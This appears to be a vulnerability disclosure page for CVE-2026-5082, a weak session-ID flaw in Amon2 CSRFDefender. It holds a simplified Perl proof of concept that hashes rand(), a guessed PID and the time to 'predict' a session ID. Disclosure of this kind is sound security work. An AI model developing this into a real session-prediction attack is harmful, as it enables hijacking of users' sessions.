CVE-2026-5082 Amon2 CSRFDefender不安全会话ID漏洞

#!/usr/bin/perl # This PoC simulates the weak session ID generation logic # to demonstrate predictability when /dev/urandom is missing. use strict; use warnings; use Digest::SHA qw(sha1_hex); use Time::HiRes qw(time); sub predict_session_id { # In a real attack, the attacker estimates the server time # and iterates through possible PIDs and rand() states. my $estimated_time = time(); my $pid_guess = 1000; # Example PID guess # Simulate the weak rand() usage (simplified) # Note: Actual prediction requires knowing the PRNG state my $weak_rand = rand(); # Reproduce the vulnerable concatenation logic my $data = join(':', $weak_rand, $pid_guess, $estimated_time); return sha1_hex($data); } print "[+] Predicted Session ID: " . predict_session_id() . "\n"; print "[+] Note: Actual exploitation requires syncing server time and PID enumeration.\n";